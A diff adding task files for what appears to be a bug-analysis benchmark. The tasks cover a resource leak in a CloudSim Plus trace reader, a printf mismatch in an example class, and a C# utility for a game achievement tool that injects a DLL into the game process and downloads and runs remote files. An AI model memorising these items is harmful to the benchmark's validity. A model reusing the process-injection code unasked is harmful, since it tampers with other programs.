+         * Disk usage required for binaries and other read-only, pre-staged runtime files is ​not​included.
+         * Additionally, most disk space used by distributed, persistent storage (e.g. GFS, Colossus)
+         * is not accounted for in this trace.
+         */
+        MEAN_LOCAL_DISK_SPACE_USED {
+            @Override
+            public Double getValue(final GoogleTaskUsageTraceReader reader) {
+                return reader.getFieldDoubleValue(this, 0);
+            }
+        },
+
+        /**
+         * 13: The index of the field containing the maximum CPU usage
+         * observed over the measurement interval.
+         */
+        MAXIMUM_CPU_USAGE {
+            @Override
+            public Double getValue(final GoogleTaskUsageTraceReader reader) {
+                return reader.getFieldDoubleValue(this, -1);
+            }
+        },
+
+        /**
+         * 14: The index of the field containing the maximum disk IO time
+         * observed over the measurement interval.
+         */
+        MAXIMUM_DISK_IO_TIME {
+            @Override
+            public Double getValue(final GoogleTaskUsageTraceReader reader) {
+                return reader.getFieldDoubleValue(this, -1);
+            }
+        }
+    }
+
+    private final Simulation simulation;
+
+    /**
+     * Gets a {@link GoogleTaskUsageTraceReader} instance to read a "task usage" trace file
+     * inside the <b>application's resource directory</b>.
+     *
+     * @param brokers a list of {@link DatacenterBroker}s that own running Cloudlets for which
+     *                resource usage will be read from the trace.
+     * @param filePath the workload trace <b>relative file name</b> in one of the following formats: <i>ASCII text, zip, gz.</i>
+     * @throws IllegalArgumentException when the trace file name is null or empty
+     * @throws UncheckedIOException     when the file cannot be accessed (such as when it doesn't exist)
+     * @see #process()
+     */
+    public static GoogleTaskUsageTraceReader getInstance(
+        final List<DatacenterBroker> brokers,
+        final String filePath)
+    {
+        final InputStream reader = ResourceLoader.getInputStream(filePath, GoogleTaskUsageTraceReader.class);
+        return new GoogleTaskUsageTraceReader(brokers, filePath, reader);
+    }
+
+    /**
+     * Instantiates a {@link GoogleTaskUsageTraceReader} to read a "task usage" trace file.
+     *
+     * @param brokers a list of {@link DatacenterBroker}s that own running Cloudlets for which
+     *                resource usage will be read from the trace.
+     * @param filePath               the workload trace <b>relative file name</b> in one of the following formats: <i>ASCII text, zip, gz.</i>
+     * @throws IllegalArgumentException when the trace file name is null or empty
+     * @throws UncheckedIOException     when the file cannot be accessed (such as when it doesn't exist)
+     * @see #process()
+     */
+    public GoogleTaskUsageTraceReader(
+        final List<DatacenterBroker> brokers,
+        final String filePath) throws IOException
+    {
+        this(brokers, filePath, Files.newInputStream(Paths.get(filePath)));
+    }
+
+    /**
+     * Instantiates a {@link GoogleTaskUsageTraceReader} to read a "task usage" from a given InputStream.
+     *
+     * @param brokers a list of {@link DatacenterBroker}s that own running Cloudlets for which
+     *                resource usage will be read from the trace.
+     * @param filePath   the workload trace <b>relative file name</b> in one of the following formats: <i>ASCII text, zip, gz.</i>
+     * @param reader     a {@link InputStream} object to read the file
+     * @throws IllegalArgumentException when the trace file name is null or empty
+     * @throws UncheckedIOException     when the file cannot be accessed (such as when it doesn't exist)
+     * @see #process()
+     */
+    private GoogleTaskUsageTraceReader(
+        final List<DatacenterBroker> brokers,
+        final String filePath,
+        final InputStream reader)
+    {
+        super(filePath, reader);
+        this.brokers = requireNonNull(brokers);
+        if(brokers.isEmpty()){
+            throw new IllegalArgumentException("The broker list cannot be empty");
+        }
+        this.simulation = brokers.get(0).getSimulation();
+        cloudletUsageChangeEvents = new ArrayList<>();
+    }
+
+    /**
+     * Process the {@link #getFilePath() trace file} request to change the resource usage of {@link Cloudlet}s
+     * as described in the file. It returns the List of all processed {@link Cloudlet}s.
+     *
+     * <p>If the Cloudlets created by a {@link GoogleTaskEventsTraceReader}
+     * use a {@link UtilizationModelFull} to define that the CPUs required
+     * by the Cloudlets will be used 100%,
+     * when the "task usage" file is read, a different CPU usage can be set.
+     * In regular simulations, if this value is smaller,
+     * a Cloudlet will spend more time to finish.
+     * However, since the "task events" file defines the exact time to finish
+     * each Cloudlet, using less than 100% won't make the Cloudlet to finish
+     * earlier (as in simulations not using the Google Cluster Data).
+     * Each Cloudlet will just have a smaller length at the end of the simulation.</p>
+     *
+     * <p>These trace files don't define the length of the Cloudlet (task).
+     * This way, the Cloudlets are created with an indefinite length
+     * (see {@link Cloudlet#setLength(long)}) and the length is increased
+     * as the Cloudlet is executed. Therefore, if the Cloudlet is using
+     * a higher percentage of the CPU capacity, it will execute
+     * more instructions in a given time interval.
+     * If it's using a lower percentage of the CPU capacity, it will execute
+     * less instructions in that interval.</p>
+     *
+     * <p>In conclusion, the exec and finish time of Cloudlets created
+     * from Google Cluster trace files won't change according
+     * to the percentage of CPU the Cloudlets are using.</p>
+     *
+     * @return the Set of all {@link Cloudlet}s processed according to a line in the trace file
+     */
+    @Override
+    public Set<Cloudlet> process() {
+        return super.process();
+    }
+
+    /** There is not pre-process for this implementation. */
+    @Override
+    protected void preProcess(){/**/}
+
+    @Override
+    protected void postProcess(){
+        simulation.addOnSimulationStartListener(this::onSimulationStart);
+    }
+
+    /**
+     * Adds an event listener that is notified when the simulation starts,
+     * so that the messages to change Cloudlet resource usage are sent.
+     *
+     * @param info the simulation start event information
+     */
+    private void onSimulationStart(final EventInfo info) {
+        cloudletUsageChangeEvents.forEach(evt -> evt.getSource().schedule(evt));
+    }
+
+    @Override
+    protected boolean processParsedLineInternal() {
+        final TaskUsage taskUsage = createTaskUsageFromTraceLine();
+        return brokers.stream()
+               .flatMap(broker -> broker.getCloudletSubmittedList().stream())
+               .filter(cloudlet -> cloudlet.getId() == taskUsage.getUniqueTaskId())
+               .findFirst()
+               .map(cloudlet -> requestCloudletUsageChange(cloudlet, taskUsage)).isPresent();
+    }
+
+    private TaskUsage createTaskUsageFromTraceLine() {
+        final TaskUsage usage = new TaskUsage();
+        usage
+            .setStartTime(FieldIndex.START_TIME.getValue(this))
+            .setEndTime(FieldIndex.END_TIME.getValue(this))
+            .setMeanCpuUsageRate(FieldIndex.MEAN_CPU_USAGE_RATE.getValue(this))
+            .setCanonicalMemoryUsage(FieldIndex.CANONICAL_MEMORY_USAGE.getValue(this))
+            .setAssignedMemoryUsage(FieldIndex.ASSIGNED_MEMORY_USAGE.getValue(this))
+            .setMaximumMemoryUsage(FieldIndex.MAXIMUM_MEMORY_USAGE.getValue(this))
+            .setMeanDiskIoTime(FieldIndex.MEAN_DISK_IO_TIME.getValue(this))
+            .setMeanLocalDiskSpaceUsed(FieldIndex.MEAN_LOCAL_DISK_SPACE_USED.getValue(this))
+            .setMaximumCpuUsage(FieldIndex.MAXIMUM_CPU_USAGE.getValue(this))
+            .setMaximumDiskIoTime(FieldIndex.MAXIMUM_DISK_IO_TIME.getValue(this))
+            .setJobId(FieldIndex.JOB_ID.getValue(this))
+            .setTaskIndex(FieldIndex.TASK_INDEX.getValue(this))
+            .setMachineId(FieldIndex.MACHINE_ID.getValue(this));
+        return usage;
+    }
+
+    /**
+     * Send a message to the broker to request change in a Cloudlet resource usage.
+     * @return true if the request was created, false otherwise
+     */
+    private boolean requestCloudletUsageChange(final Cloudlet cloudlet, final TaskUsage taskUsage)
+    {
+        final Runnable resourceUsageUpdateRunnable = () -> {
+            final StringBuilder builder = new StringBuilder();
+            if (cloudlet.getUtilizationOfCpu() != taskUsage.getMeanCpuUsageRate()) {
+                builder.append("CPU Utilization: ")
+                    .append(formatPercentValue(cloudlet.getUtilizationOfCpu())).append(VAL_SEPARATOR)
+                    .append(formatPercentValue(taskUsage.getMeanCpuUsageRate())).append('%').append(COL_SEPARATOR);
+
+                cloudlet.setUtilizationModelCpu(createUtilizationModel(cloudlet.getUtilizationModelCpu(), taskUsage.getMeanCpuUsageRate()));
+            }
+
+            if (cloudlet.getUtilizationOfRam() != taskUsage.getCanonicalMemoryUsage()) {
+                builder.append("RAM Utilization: ")
+                    .append(formatPercentValue(cloudlet.getUtilizationOfRam())).append(VAL_SEPARATOR)
+                    .append(formatPercentValue(taskUsage.getCanonicalMemoryUsage()))
+                    .append('%')
+                    .append(COL_SEPARATOR);
+                cloudlet.setUtilizationModelRam(createUtilizationModel(cloudlet.getUtilizationModelRam(), taskUsage.getCanonicalMemoryUsage()));
+            }
+
+            /* We don't need to check if some resource was changed because
+             * if this Runnable is executed is because something was.
+             * An event to execute such Runnable is just sent in such a condition.*/
+            final DatacenterBroker broker = cloudlet.getBroker();
+            broker.LOGGER.trace("{}: {}: {} resource usage changed: {}", simulation.clockStr(), broker.getName(), cloudlet, builder);
+            cloudlet.getVm().getHost().updateProcessing(simulation.clock());
+        };
+
+
+        if(hasCloudletResourceUsageChanged(cloudlet, taskUsage)){
+            addAvailableObject(cloudlet);
+            final CloudSimEvent evt =
+                new CloudSimEvent(
+                    taskUsage.getStartTime(), cloudlet.getBroker(),
+                    CloudSimTags.CLOUDLET_UPDATE_ATTRIBUTES, resourceUsageUpdateRunnable);
+            return cloudletUsageChangeEvents.add(evt);
+        }
+
+        return false;
+    }
+
+    /**
+     * Creates a {@link UtilizationModel} based on another one.
+     * If the given instance is a {@link UtilizationModelDynamic},
+     * otherwise a UtilizationModelDynamic is created without cloning
+     * another instance (that means it won't have the configurations
+     * defined by another model).
+     * Then, the initial utilization of the created {@link UtilizationModelDynamic}
+     * is set as the given parameter.
+     *
+     * @param source the utilization model that will be used as based to
+     * @param initialUtilization a percentage value (in scale from 0 to 1)
+     *                           to define the current utilization for the created {@link UtilizationModelDynamic}
+     * @return an {@link UtilizationModelDynamic} instance with the current utilization equals
+     *         to the given parameter
+     */
+    private UtilizationModel createUtilizationModel(final UtilizationModel source, final double initialUtilization){
+        if(source instanceof UtilizationModelDynamic){
+            return new UtilizationModelDynamic((UtilizationModelDynamic)source, initialUtilization);
+        }
+
+        return new UtilizationModelDynamic(initialUtilization);
+    }
+
+    private boolean hasCloudletResourceUsageChanged(final Cloudlet cloudlet, final TaskUsage taskUsage){
+        return cloudlet.getUtilizationOfCpu() != taskUsage.getMeanCpuUsageRate() ||
+               cloudlet.getUtilizationOfRam() != taskUsage.getCanonicalMemoryUsage();
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileInputStream` acquired by call to `getInputStream(...)` at line 276 is not released after line 277.
+**Note**: potential exception at line 277
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+GoogleTaskUsageTraceReader GoogleTaskUsageTraceReader.getInstance(List,String)
+
+### Procedure Id:
+org.cloudsimplus.traces.google.GoogleTaskUsageTraceReader.getInstance(java.util.List,java.lang.Strin.762089395e270de23ee153162fa64895
+
+### File:
+cloudsim-plus/src/main/java/org/cloudsimplus/traces/google/GoogleTaskUsageTraceReader.java
+
+### Key:
+GoogleTaskUsageTraceReader.java|getInstance|RESOURCE_LEAK
+
+### Node Key:
+7f0a206e0aa756ebfb4e611cfb3559de
+
+### Hash:
+73351d3b46c38b3e38a9479992312ec4
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10274/instruction.md b/inferredbugs-10274/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a13423f4a8b4900739beb84b0d2eb6254b1930f1
--- /dev/null
+++ b/inferredbugs-10274/instruction.md
@@ -0,0 +1,301 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** cloudsim-plus
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * CloudSim Plus: A modern, highly-extensible and easier-to-use Framework for
+ * Modeling and Simulation of Cloud Computing Infrastructures and Services.
+ * http://cloudsimplus.org
+ *
+ *     Copyright (C) 2015-2018 Universidade da Beira Interior (UBI, Portugal) and
+ *     the Instituto Federal de Educação Ciência e Tecnologia do Tocantins (IFTO, Brazil).
+ *
+ *     This file is part of CloudSim Plus.
+ *
+ *     CloudSim Plus is free software: you can redistribute it and/or modify
+ *     it under the terms of the GNU General Public License as published by
+ *     the Free Software Foundation, either version 3 of the License, or
+ *     (at your option) any later version.
+ *
+ *     CloudSim Plus is distributed in the hope that it will be useful,
+ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *     GNU General Public License for more details.
+ *
+ *     You should have received a copy of the GNU General Public License
+ *     along with CloudSim Plus. If not, see <http://www.gnu.org/licenses/>.
+ */
+package org.cloudsimplus.examples.resourceusage;
+
+import org.cloudbus.cloudsim.allocationpolicies.VmAllocationPolicySimple;
+import org.cloudbus.cloudsim.brokers.DatacenterBroker;
+import org.cloudbus.cloudsim.brokers.DatacenterBrokerSimple;
+import org.cloudbus.cloudsim.cloudlets.Cloudlet;
+import org.cloudbus.cloudsim.cloudlets.CloudletSimple;
+import org.cloudbus.cloudsim.core.CloudSim;
+import org.cloudbus.cloudsim.datacenters.Datacenter;
+import org.cloudbus.cloudsim.datacenters.DatacenterSimple;
+import org.cloudbus.cloudsim.hosts.Host;
+import org.cloudbus.cloudsim.hosts.HostSimple;
+import org.cloudbus.cloudsim.provisioners.PeProvisionerSimple;
+import org.cloudbus.cloudsim.provisioners.ResourceProvisionerSimple;
+import org.cloudbus.cloudsim.resources.Pe;
+import org.cloudbus.cloudsim.resources.PeSimple;
+import org.cloudbus.cloudsim.schedulers.cloudlet.CloudletSchedulerTimeShared;
+import org.cloudbus.cloudsim.schedulers.vm.VmSchedulerTimeShared;
+import org.cloudbus.cloudsim.utilizationmodels.UtilizationModel;
+import org.cloudbus.cloudsim.utilizationmodels.UtilizationModelDynamic;
+import org.cloudbus.cloudsim.vms.Vm;
+import org.cloudbus.cloudsim.vms.VmSimple;
+import org.cloudsimplus.builders.tables.CloudletsTableBuilder;
+import org.cloudsimplus.builders.tables.TextTableColumn;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * An example showing how to create a Datacenter with two hosts and run
+ * two cloudlets on it. At the end, it shows the total CPU utilization of VMs
+ * into a Datacenter.
+ *
+ * <p>
+ * Cloudlets run in VMs with different MIPS requirements and will
+ * take different times to complete the execution, depending on the requested VM
+ * performance.
+ * </p>
+ *
+ * @author Manoel Campos da Silva Filho
+ * @since CloudSim Plus 1.0
+ *
+ * @see VmsRamAndBwUsageExample
+ * @see org.cloudsimplus.examples.power.PowerExample
+ */
+public class VmsCpuUsageExample {
+    private List<Cloudlet> cloudletList;
+    private List<Vm> vmlist;
+    private DatacenterBroker broker;
+    private static final int VMS = 2;
+    private static final int HOSTS = 2;
+
+    /**
+     * Starts the example execution.
+     * @param args
+     */
+    public static void main(String[] args) {
+        new VmsCpuUsageExample();
+    }
+
+    public VmsCpuUsageExample() {
+        /*Enables just some level of log messages.
+          Make sure to import org.cloudsimplus.util.Log;*/
+        //Log.setLevel(ch.qos.logback.classic.Level.WARN);
+
+        System.out.println("Starting " + getClass().getSimpleName());
+        CloudSim simulation = new CloudSim();
+
+        @SuppressWarnings("unused")
+        Datacenter datacenter0 = createDatacenter(simulation);
+
+        broker = new DatacenterBrokerSimple(simulation);
+
+        vmlist = new ArrayList<>(VMS);
+        cloudletList = new ArrayList<>(VMS);
+
+        final int mips = 1000;
+        final int pesNumber = 2;
+        for (int i = 1; i <= VMS; i++) {
+            Vm vm = createVm(pesNumber*2, mips * i, i - 1);
+            vmlist.add(vm);
+            Cloudlet cloudlet = createCloudlet(pesNumber);
+            cloudletList.add(cloudlet);
+            cloudlet.setVm(vm);
+        }
+        cloudletList.add(createCloudlet(pesNumber));
+
+        broker.submitVmList(vmlist);
+        broker.submitCloudletList(cloudletList);
+
+        final double finishTime = simulation.start();
+
+        new CloudletsTableBuilder(broker.getCloudletFinishedList())
+            .addColumn(7, new TextTableColumn("VM MIPS"), cloudlet -> cloudlet.getVm().getMips())
+            .build();
+
+        showCpuUtilizationForAllVms(finishTime);
+
+        System.out.println(getClass().getSimpleName() + " finished!");
+    }
+
+    private Cloudlet createCloudlet(final int pesNumber) {
+        final long length = 10000;
+        final long fileSize = 300;
+        final long outputSize = 300;
+        UtilizationModel utilizationModelDynamic = new UtilizationModelDynamic(0.25);
+        UtilizationModel utilizationModelCpu = new UtilizationModelDynamic(0.5);
+
+        Cloudlet cloudlet = new CloudletSimple(length, pesNumber);
+        cloudlet.setFileSize(fileSize)
+            .setOutputSize(outputSize)
+            .setUtilizationModelCpu(utilizationModelCpu)
+            .setUtilizationModelBw(utilizationModelDynamic)
+            .setUtilizationModelRam(utilizationModelDynamic);
+        return cloudlet;
+    }
+
+    /**
+     * Creates a VM enabling the collection of CPU utilization history.
+     * @param pesNumber
+     * @param mips
+     * @param id
+     * @return
+     */
+    private Vm createVm(final int pesNumber, final int mips, final int id) {
+        final long size = 10000; //image size (Megabyte)
+        final int ram = 2048; //vm memory (Megabyte)
+        final long bw = 1000;
+
+        //create two VMs
+        Vm vm = new VmSimple(id, mips, pesNumber);
+        vm.setRam(ram).setBw(bw)
+            .setSize(size)
+            .setCloudletScheduler(new CloudletSchedulerTimeShared());
+        vm.getUtilizationHistory().enable();;
+        return vm;
+    }
+
+    private void showCpuUtilizationForAllVms(final double simulationFinishTime) {
+        System.out.println("\nHosts CPU utilization history for the entire simulation period\n");
+        int numberOfUsageHistoryEntries = 0;
+        for (Vm vm : vmlist) {
+            System.out.printf("VM %d\n", vm.getId());
+            if (vm.getUtilizationHistory().getHistory().isEmpty()) {
+                System.out.println("\tThere isn't any usage history");
+                continue;
+            }
+
+            for (Map.Entry<Double, Double> entry : vm.getUtilizationHistory().getHistory().entrySet()) {
+                final double time = entry.getKey();
+                final double vmCpuUsage = entry.getValue()*100;
+                if (vmCpuUsage > 0) {
+                    numberOfUsageHistoryEntries++;
+                    System.out.printf("\tTime: %2.0f CPU Utilization: %6.2f%%\n", time, vmCpuUsage);
+                }
+            }
+        }
+
+        if (numberOfUsageHistoryEntries == 0) {
+            System.out.println("No CPU usage history was found");
+        }
+    }
+
+    /**
+     * Creates a datacenter setting the scheduling interval
+     * that, between other things, defines the times to collect
+     * VM CPU utilization.
+     *
+     * @param simulation
+     * @return
+     */
+    private static Datacenter createDatacenter(CloudSim simulation) {
+        List<Host> hostList = new ArrayList<>(HOSTS);
+        final int pesNumber = 4;
+        final int mips = 1000;
+        for (int i = 1; i <= HOSTS; i++) {
+            Host host = createHost(pesNumber, mips*i);
+            hostList.add(host);
+        }
+
+        DatacenterSimple dc = new DatacenterSimple(simulation, hostList, new VmAllocationPolicySimple());
+        dc.setSchedulingInterval(2);
+        return dc;
+    }
+
+    private static Host createHost(final int pesNumber, final long mips) {
+        List<Pe> peList = new ArrayList<>();
+        for (int i = 0; i < pesNumber; i++) {
+            peList.add(new PeSimple(mips, new PeProvisionerSimple()));
+        }
+
+        final int ram = 2048; //host memory (Megabyte)
+        final long storage = 1000000; //host storage
+        final int bw = 10000;
+
+        final Host host = new HostSimple(ram, bw, storage, peList)
+            .setRamProvisioner(new ResourceProvisionerSimple())
+            .setBwProvisioner(new ResourceProvisionerSimple())
+            .setVmScheduler(new VmSchedulerTimeShared());
+        host.enableStateHistory();
+        return host;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+CHECKERS_PRINTF_ARGS
+
+### Qualifier:
+format string arguments don't mach provided arguments in printf(...) at line 178.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void VmsCpuUsageExample.showCpuUtilizationForAllVms(double)
+
+### Procedure Id:
+org.cloudsimplus.examples.resourceusage.VmsCpuUsageExample.showCpuUtilizationForAllVms(double):void.f8283ae2d938d1a50c0cb1483f4b0b4f
+
+### File:
+cloudsim-plus-examples/src/main/java/org/cloudsimplus/examples/resourceusage/VmsCpuUsageExample.java
+
+### Key:
+VmsCpuUsageExample.java|showCpuUtilizationForAllVms|CHECKERS_PRINTF_ARGS
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+71dd284cf4b77223dd89e3cbea5e781b
+
+### Bug Type Hum:
+Checkers Printf Args
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1028/instruction.md b/inferredbugs-1028/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fff7df229208d0f75ba912c860265e68bab72f5a
--- /dev/null
+++ b/inferredbugs-1028/instruction.md
@@ -0,0 +1,292 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** YaeAchievement
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.ComponentModel;
+using System.Diagnostics;
+using System.IO.Compression;
+using System.IO.Pipes;
+using System.Net;
+using System.Net.Http.Headers;
+using System.Runtime.InteropServices;
+using System.Security.Cryptography;
+using System.Text;
+using System.Text.Json.Nodes;
+using Google.Protobuf;
+using YaeAchievement.Win32;
+using static YaeAchievement.Win32.OpenFileFlags;
+
+namespace YaeAchievement;
+
+public static class Utils {
+
+    private static readonly Lazy<HttpClient> CHttpClient = new (() => {
+        var c = new HttpClient(new HttpClientHandler {
+            Proxy = new WebProxy("http://127.0.0.1:8888"),
+            AutomaticDecompression = DecompressionMethods.Brotli | DecompressionMethods.GZip
+        }) {
+            DefaultRequestHeaders = {
+                UserAgent = {
+                    new ProductInfoHeaderValue("YaeAchievement", GlobalVars.AppVersion.ToString(2))
+                }
+            }
+        };
+        return c;
+    });
+
+    public static string GetBucketFileAsString(string path, bool cache = true) {
+        return Encoding.UTF8.GetString(GetBucketFileAsByteArray(path, cache));
+    }
+    
+    public static byte[] GetBucketFileAsByteArray(string path, bool cache = true) {
+        using var msg = new HttpRequestMessage {
+            Method = HttpMethod.Get,
+            RequestUri = new Uri($"{GlobalVars.BucketHost}/{path}")
+        };
+        CacheItem? ci = null;
+        var cacheName = cache ? $"./cache/{CalculateMD5(path)[..16]}.miko" : "";
+        if (cache) {
+            Directory.CreateDirectory("cache");
+            if (File.Exists(cacheName)) {
+                using var input = File.OpenRead(cacheName);
+                using var dInput = new GZipStream(input, CompressionMode.Decompress);
+                ci = CacheItem.Parser.ParseFrom(dInput);
+                msg.Headers.TryAddWithoutValidation("If-None-Match", $"{ci.Etag}");
+            }
+        }
+        using var response = CHttpClient.Value.Send(msg);
+        if (cache && response.StatusCode == HttpStatusCode.NotModified) {
+            return ci!.Content.ToByteArray();
+        }
+        response.EnsureSuccessStatusCode();
+        var responseBytes = response.Content.ReadAsByteArrayAsync().Result;
+        if (cache) {
+            var etag = response.Headers.ETag!.Tag;
+            using var os = File.OpenWrite(cacheName);
+            using var cos = new GZipStream(os, CompressionLevel.SmallestSize);
+            new CacheItem {
+                Etag = etag,
+                Version = 3,
+                Checksum = CalculateMD5(responseBytes),
+                Content = ByteString.CopyFrom(responseBytes)
+            }.WriteTo(cos);
+        }
+        return responseBytes;
+    }
+
+    // ReSharper disable once InconsistentNaming
+    private static string CalculateMD5(string text) {
+        return CalculateMD5(Encoding.UTF8.GetBytes(text));
+    }
+    
+    // ReSharper disable once InconsistentNaming
+    private static string CalculateMD5(byte[] bytes) {
+        using var md5 = MD5.Create();
+        var b = md5.ComputeHash(bytes);
+        return Convert.ToHexString(b).ToLower();
+    }
+    
+    public static void LoadConfig() {
+        var conf = JsonNode.Parse(File.ReadAllText(GlobalVars.ConfigFileName))!;
+        var path = conf["genshinPath"];
+        if (path == null || CheckGamePathValid(path.GetValue<string>())) {
+            GlobalVars.GamePath = SelectGameExecutable();
+            conf["genshinPath"] = GlobalVars.GamePath;
+            File.WriteAllText(GlobalVars.ConfigFileName, conf.ToJsonString());
+        } else {
+            GlobalVars.GamePath = path.GetValue<string>();
+        }
+    }
+
+    public static void CheckUpdate() {
+        var info = UpdateInfo.Parser.ParseFrom(GetBucketFileAsByteArray("schicksal/version"))!;
+        if (GlobalVars.AppVersionCode != info.VersionCode) {
+            Console.WriteLine($"有可用更新: {GlobalVars.AppVersionName} => {info.VersionName}");
+            Console.WriteLine($"更新内容: \n{info.Description}");
+            if (info.EnableAutoDownload) {
+                Console.WriteLine("正在下载更新包...");
+                var fullPath = Path.GetFullPath("update.7z");
+                File.WriteAllBytes(fullPath, GetBucketFileAsByteArray(info.PackageLink));
+                Console.WriteLine("下载完毕! 关闭程序后, 将压缩包解压至当前目录即可完成更新.");
+                new Process {
+                    StartInfo = {
+                        FileName = fullPath,
+                        UseShellExecute = true
+                    }
+                }.Start();
+                Environment.Exit(0);
+            }
+            Console.WriteLine($"下载地址: {info.PackageLink}");
+            if (info.ForceUpdate) {
+                Console.WriteLine("在完成此次更新前, 程序可能无法正常使用.");
+                Environment.Exit(0);
+            }
+        }
+        if (info.EnableLibDownload) {
+            File.WriteAllBytes("YaeLib.dll", GetBucketFileAsByteArray("schicksal/lib.dll"));
+        }
+    }
+
+    private static bool CheckGamePathValid(string path) {
+        var dir = Path.GetDirectoryName(path)!;
+        return File.Exists($"{dir}/UnityPlayer.dll") && File.Exists($"{dir}/mhypbase.dll");
+    }
+    
+    private static string SelectGameExecutable() {
+        var fnPtr = Marshal.AllocHGlobal(32768);
+        var ofn = new OpenFileName {
+            file    = fnPtr,
+            size    = Marshal.SizeOf<OpenFileName>(),
+            owner   = Native.GetConsoleWindow(),
+            flags   = Explorer | NoNetworkButton | FileMustExist | NoChangeDir,
+            title   = "选择主程序",
+            filter  = "国服/国际服主程序 (YuanShen/GenshinImpact.exe)\0YuanShen.exe;GenshinImpact.exe\0",
+            maxFile = 32768
+        };
+        if(!Native.GetOpenFileName(ofn)) {
+            var err = Native.CommDlgExtendedError();
+            if (err != 0) {
+                throw new SystemException($"Dialog error: {err}");
+            }
+            Console.WriteLine("操作被取消");
+            Environment.Exit(0);
+        }
+        var path = Marshal.PtrToStringAuto(fnPtr)!;
+        Marshal.FreeHGlobal(fnPtr);
+        return path;
+    }
+
+    // ReSharper disable once UnusedMethodReturnValue.Global
+    public static bool TryDisableQuickEdit() {
+        var handle = Native.GetStdHandle();
+        return Native.GetConsoleMode(handle, out var mode) && Native.SetConsoleMode(handle, mode&~64);
+    }
+    
+    public static void CheckGenshinIsRunning() {
+        Process.EnterDebugMode();
+        foreach (var process in Process.GetProcesses()) {
+            if (process.ProcessName is "GenshinImpact" or "YuanShen") {
+                Console.WriteLine("原神正在运行，请关闭后重试");
+                Environment.Exit(301);
+            }
+        }
+        Process.LeaveDebugMode();
+    }
+    
+    public static void InstallExitHook() {
+        AppDomain.CurrentDomain.ProcessExit += (_, _) => {
+            Console.WriteLine("按任意键退出");
+            Console.ReadKey();
+        };
+    }
+
+    public static void InstallExceptionHook() {
+        AppDomain.CurrentDomain.UnhandledException += (_, e) => {
+            Console.WriteLine(e.ExceptionObject.ToString());
+            Console.WriteLine("发生错误，请联系开发者以获取帮助");
+            Environment.Exit(-1);
+        };
+    }
+    
+    // ReSharper disable once UnusedMethodReturnValue.Global
+    public static Thread StartAndWaitResult(string exePath, Func<string, bool> onReceive) {
+        if (!Injector.CreateProcess(exePath, out var hProcess, out var hThread, out var pid)) {
+            Environment.Exit(new Win32Exception().PrintMsgAndReturnErrCode("ICreateProcess fail"));
+        }
+        if (Injector.LoadLibraryAndInject(hProcess, Path.GetFullPath(GlobalVars.LibName)) != 0) {
+            if (!Native.TerminateProcess(hProcess, 0)) {
+                Environment.Exit(new Win32Exception().PrintMsgAndReturnErrCode("TerminateProcess fail"));
+            }
+        }
+        var proc = Process.GetProcessById(Convert.ToInt32(pid));
+        proc.EnableRaisingEvents = true;
+        proc.Exited += (_, _) => {
+            if (GlobalVars.UnexpectedExit) {
+                Console.WriteLine("游戏进程异常退出");
+                Environment.Exit(114514);
+            }
+        };
+        if (Native.ResumeThread(hThread) == 0xFFFFFFFF) {
+            var e = new Win32Exception();
+            if (!Native.TerminateProcess(hProcess, 0)) {
+                new Win32Exception().PrintMsgAndReturnErrCode("TerminateProcess fail");
+            }
+            Environment.Exit(e.PrintMsgAndReturnErrCode("ResumeThread fail"));
+        }
+        if (!Native.CloseHandle(hProcess)) {
+            Environment.Exit(new Win32Exception().PrintMsgAndReturnErrCode("CloseHandle fail"));
+        }
+        var ts = new ThreadStart(() => {
+            var server = new NamedPipeServerStream(GlobalVars.PipeName);
+            server.WaitForConnection();
+            using var reader = new StreamReader(server);
+            while (!proc.HasExited) {
+                var line = reader.ReadLine();
+                if (line?.Length > 0) {
+                    if (onReceive(line)) {
+                        break;
+                    }
+                    server.Disconnect();
+                    server.WaitForConnection();
+                }
+            }
+        });
+        var th = new Thread(ts);
+        th.Start();
+        return th;
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
